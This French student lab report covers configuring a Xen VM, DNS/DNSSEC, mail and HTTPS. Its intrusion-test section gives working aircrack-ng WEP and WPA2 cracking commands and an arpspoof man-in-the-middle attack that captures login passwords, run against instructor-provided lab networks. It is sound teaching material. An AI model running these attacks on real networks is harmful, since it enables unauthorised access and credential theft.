Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on ajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une passerelle doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interface avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comme ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
L'architecture du réseau est la suivante : <br />
[[Fichier:Architecture2-MA2a5-2020_2021.JPG|1000px|thumb|left|Architecture du réseau]]<br />
<br style="clear: both;" \><br />
<br />
Le problème est que si on regarde le réseau n'est pas vraiment redondant : <br />
<br />
- Si on a une coupure de courant tout le réseau s'effondrent, dans l'idéale, il faudrait des onduleurs et un réseau électrique séparé pour la Baie1 et la Baie2/3<br />
<br />
- Le réseau ADSL n'est pas fonctionnelle donc si on perd le réseau Polytech on n'as plus accès aux machines.<br />
<br />
- Toutes les VM et les sites WEB sont sur la baie3 qui héberge le serveur de virtualisation Capbreton, si on perd la baie3 tout le système tombe.<br />
<br />
- Pour finir dans l'idéale les deux bais devrais être dans des bâtiments séparer en cas d'incendie, on risque de perdre les deux bais.<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par Gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié notre DNS a une ip, il faut renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas Gandi ne pourras pas liée les DNS a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon notre système de clef ne fonctionnera pas.<br />
pour commencer, on crée un répertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les renommer pour plus de transparence.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
Les clef sont maintenant fonctionelle il faut donc les ajouter a GANDI, pour cela on se connecte a gandi puis on ajoute une clef KSK.<br />
pour obtenir la cled on utilise la commande <code>cat glopglop.site-ksk.key</code> on obtien le résultat ci-dessous : <br />
; This is a key-signing key, keyid 15337, for glopglop.site.<br />
; Created: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Publish: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
; Activate: 20201113090442 (Fri Nov 13 09:04:42 2020)<br />
glopglop.site. IN DNSKEY 257 3 5 AwEAAc3TCJkWFGnZSj/Q364AF7n69UaXum/no+LuEbXbGjTXLETdYk+Q gVAmIpvbJXcG0rucJTbVFaHr8IhWqf7VvkCbEGAORAkzBVXThPDR1pZR lJDEY88Lb2T6k9uHw43l2oP8vPev2eIRbU3VxUuJs++elgj32DTBA+yK p++/gz29H6PQVpkHnH81RjGdV+K1RZEwxkuev2MmB329fhMRwTsbW0BV aeXc5faRk9ZEKb7tr0p7txVv4wZEL6it01ZiNyGktwLRj8ln+cQz1GtC PY/UWnCtamycE/2k4f98sdDa6TMiguuBNOPug+ODzqGiI7LNUyF4jBbf 6NAgChwITps=<br />
<br />
On ajoute la clef a Gandi comme montrer ci-dessous en n'oubliant pas de sélectionner '5(RSA/SHA-1'.<br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|gandi enregistrement de la clef KSK]]<br />
<br style="clear: both;" \><br />
<br />
Pour vérifier que tout fonctionne correctement, on va sur le site 'dnsvizi.net' il nous permet d'analyser le DNS et représente la chaine d'authentification DNSSEC.<br />
[[Fichier:DNSSEC_2020-11-13_11-59-06.png|1000px|thumb|left|Test du DNSSEC]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que maintenant on a bien le statu 'SECURE' donc tout fonctionne bien.<br />
<br />
===Installation d'une messagerie===<br />
====Configuration de Postfix====<br />
Pour recevoir le mail de vérification de GANDI il faut sur la VM un gestionnaire de mail il faut installer mutt et postfix. On utilise les commandes ci-dessous : <br />
apt-get install postfix<br />
ant-get install mutt<br />
<br />
A l'installation de 'postfix' un fenêtre de configuration s'ouvre. <br />
Il faut renseigner le non du site comme 'System mail name : 'glopglop.site'<br />
<br />
On vérifie la configuration de 'postix' en allant dans le 'main.cf'<br />
vi /etc/postfix/main.cf <br />
<br />
[[Fichier:Config Postfix mirage.png|1000px|thumb|left|Configuration de postfix]]<br />
<br style="clear: both;" \><br />
<br />
On a bien le non de domaine 'glopglop.site' on peut relancer 'postfix'<br />
service postfix restart<br />
Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la réception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les message reçu en tapant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on reçoit bien les message en provenance du mail de Polytech.<br />
Pour que Gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoin de pouvoir recevoir les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commande <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différant care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyé le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de Gandi on reçoit un code de confirmation ainsi qu'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers Gandi a téléchargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionne pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
